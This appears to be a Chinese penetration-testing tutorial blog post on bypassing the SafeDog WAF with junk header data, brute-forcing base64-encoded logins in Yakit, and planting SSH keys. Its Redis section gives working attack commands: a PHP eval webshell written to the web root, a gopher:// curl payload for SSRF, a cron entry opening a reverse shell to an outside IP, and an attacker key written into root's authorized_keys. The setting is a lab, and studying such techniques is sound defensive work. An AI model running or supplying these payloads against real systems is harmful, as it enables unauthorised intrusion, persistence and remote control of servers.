waf、yakit和ssh免密登录

WAF安全狗

脏数据适用于所有漏洞绕过waf,但是前提条件垃圾信息必须放在危险信息前,是不能打断原有数据包的结构,不能影响后端对数据包的解析。

以DVWA靶场文件上传为例

新建php文件

image-20231018171929267

上传文件被安全狗拦截

waf、yakit和ssh免密登录_第1张图片

使用bp抓包查看

waf、yakit和ssh免密登录_第2张图片

在数据包Content-Disposition字段中的form-data后添加分号,在分号后添加脏数据;如果不加分号添加脏数据可能会打乱原有数据包的结构。文件上传成功。

waf、yakit和ssh免密登录_第3张图片

YAKIT

暴力破解

账户密码明文传输

客户防护:base64编码,加密。

前端base64编码加密,后端base64编码解密

抓包抓到的是编码以后的数据包,进行账密爆破时,密码字典也需要进行编码才能进行爆破。

新建x.php文档

 

$a=base64_decode($_GET['passwd']);

if($a=="admin"){
	echo "welcom";
}else{
	echo "error";
}

?>

端口设置

点击MITM

waf、yakit和ssh免密登录_第4张图片

waf、yakit和ssh免密登录_第5张图片

waf、yakit和ssh免密登录_第6张图片

更改浏览器代理

waf、yakit和ssh免密登录_第7张图片

使用yt代理访问x.php页面

waf、yakit和ssh免密登录_第8张图片

在历史中右击数据包选择WEB FUZZER,

waf、yakit和ssh免密登录_第9张图片

选择admin右键,插入模糊字典标签,选择user top10。

waf、yakit和ssh免密登录_第10张图片

waf、yakit和ssh免密登录_第11张图片

waf、yakit和ssh免密登录_第12张图片

响应结果一致是因为后端做了base64解码,字典中内容是铭文的,被编码后后端不认识,要在使用的字典前添加base64编码。

waf、yakit和ssh免密登录_第13张图片

{{base64({{x(user_top10)}})}},爆破出密码为admin

waf、yakit和ssh免密登录_第14张图片

waf、yakit和ssh免密登录_第15张图片

之后使用抓包查看数据包时,如果流量内容是base64编码的就使用yakit爆破。yakit中也有dnslog,在测试响应的时候可以使用yakit自带的dnslog进行测试。

image-20231018191402483

waf、yakit和ssh免密登录_第16张图片

SSH免密登录

Linux服务器一定开放ssh端口。

ssh采用非对称加密,存在公钥私钥

将自己的公钥写入受害者的ssh目录中的时候,登录受害者ssh就可以不使用密码。

以kali主机为失陷主机为例

首先开启ssh服务

ss -antpl
systemctl start ssh.service
ss -antpl
pwd		#家目录的路径

image-20231018192334617

waf、yakit和ssh免密登录_第17张图片

登录kali主机的用户家目录下有.ssh目录,其中有已通过认证的ssh密钥,我们的公钥就可以写入.ssh目录中。

注意:在没有登陆过ssh的时候需要触发以下的登录才会出现.ssh目录。

ssh [email protected]

进入.ssh目录,看到里面的已通过认证的主机的公钥

模拟命令执行写入公钥

在windows中安装Git,安装完成后Windows就可以使用ssh客户端。

写入公钥可以通过一句话木马或代码执行或redis写入公钥

找到用户目录,在目录中右击看到有一个Git Bash Here点击进入命令执行界面

ssh-keygen -t rsa

waf、yakit和ssh免密登录_第18张图片

执行成功后出现.ssh目录

waf、yakit和ssh免密登录_第19张图片

进入.ssh目录可以看到有两个文件,id_rsa.pub就是公钥。

waf、yakit和ssh免密登录_第20张图片

查看公钥内容

image-20231018194507557

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCcFgp7y4ZigaHArZlRjLHJ+hhBbFf1Q3HeuLly5HoUoSaXUUF6V7/dT57XQqJgqAnnAjc3LOvm9CzGAokKYR51Tony46RrpxSG8PlGpQhGsiU0JI9VWuPXMzzPFaK/1gfsctGIaihNh3Fosx7VKcqLn5sBRl6+FjqfqUtcbYAjHNkAnvb5bGBsb/+9XpUAvk1t3aHjvAz9oiGSl6L4PRi7E2mcramR4QnkWd/63KzaI38rsgnYbzFSiDfN0VxsKmS0jvjw92sBL1N9WaMyouNQWHTkdZKNSgWpakUayLpIc+Gx4vepaCNh/WV+07mVh39L6FnOt7bkCVEmyLoWaMzVRc3x6prDoWFnuRwB2C+yRctwD4tX+6AZ0QODOYFyraP1MDYcaDFm1rPhvNwX0Xhq+jfiZshQDU4iq1veVDBjHcmpsJOQ8YoiCRfLgQ0c31oCCX+FH+bpcF65LQxPsIbISryjp4tZolgmtNFvsE/cLzz87gcIS7cUnOSirGu33ok= zs@DESKTOP-6DBQCEP

在.ssh目录中输入

vim authorized_keys

将公钥复制进去

image-20231018195105342

waf、yakit和ssh免密登录_第21张图片

image-20231018195130415

在Windows中的Git命令行中输入

ssh [email protected]

waf、yakit和ssh免密登录_第22张图片

waf、yakit和ssh免密登录_第23张图片

redis未授权写公钥

redis未授权

    高性能:Redis 是基于内存存储的非关系型数据库,具有读写速度快,可以处理大量数据的特点,因此被企业广泛使用。
    简单易用:Redis 的 API 简单易用,支持多种数据结构的存储,如字符串、哈希、列表、集合和有序集合等。此外,Redis 还提供了丰富的操作命令,可快速实现各种数据操作。
    分布式缓存:Redis 的分布式缓存功能可以帮助企业快速构建高可用、高性能、高可扩展的缓存集群,在提高数据读写性能的同时,还可以实现数据的分片存储和负载均衡。
    持久化存储:Redis 支持持久化存储功能,可以将内存中的数据通过快照或日志记录的方式持久化到磁盘中,保证数据的安全性和可靠性。

安装redis

kali换源

vim /etc/apt/sources.list
#阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ kali-rolling main contrib non-free

#更新索引文件
apt-get update

#更新软件包
apt-get upgrade

#安装redis
apt-get install redis-server
#启动
/usr/bin/redis-server

Gopher协议

支持发出GET、POST请求

gopher 协议可以在特定的端口上进行相关命令的执行

gopher://IP:port/_{TCP/IP data stream}

利用redis写文件

waf、yakit和ssh免密登录_第24张图片

redis-cli -h [ip]

这条命令是用来连接到 Redis 数据库的命令行界面(CLI)。其中的"-h [ip]"参数用于指定要连接的 Redis 服务器的 IP 地址。通过运行这个命令,你可以在命令行中与 Redis 数据库进行交互,执行各种操作,如设置键值对、获取值、删除键等。

写shell
aaa

set 1 "$_POST[1]); ?>" 
config set dir /var/www/html/ 
config set dbfilename shell.php 
save

bbb

url编码
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

反弹shell
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.242.134/2333 0>&1\n\n\n\n" 
config set dir /etc 
config set dbfilename crontab 
save

redis写入ssh公钥

config set dir /root/.ssh/ 
config set dbfilename authorized_keys 
set margin "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbC05xE4PBAEOdBbF4F6Eai//NjL6fAkWSyotaz7Xoc33QfbzxNXz/3iDvfQTD4PIjznc17+9C1TcjV4dyrYdaC0w2JxnsRmiECrfNlRVkkkx6l/jFV0WH5P7ziYATMtVRkuhCm3wbqG0q8w8UyW5FeqB2N17rHr+wxGctDmuPGNbObbvGSvGVe5S73Uw1WwI08n3oqTjoi2dSu/FuDwVyzCbQXqQfr/5832tchX2jYl+1KzDSCRENoacj8RiIxUOEwvzJRFeMQW5qlG6FWfdksKzXwSSJ2TmAOzcHPU4ymimH49SRpOihr5i2N/j9Ts7AdhFepFu7Jkpa/YlwvSu2nDprUaZC93wBOP9Typma56xyhb8ieOEU1QbOWr+tVcqc2ouUmwRO06tv2VqKERRRaGilgarhOOO7kigeVm7t9HUa+ncnP210WqeYwGbSck6nZmbYHVoGThLcavYy+t8Ue1MZPeQhzEqWPlJeHwrddsQY+a2F6XJ/UG6VUx2qUjE= xiu@xiu-PC" 
save 
quit


你可能感兴趣的:(ssh,运维,网络安全,安全)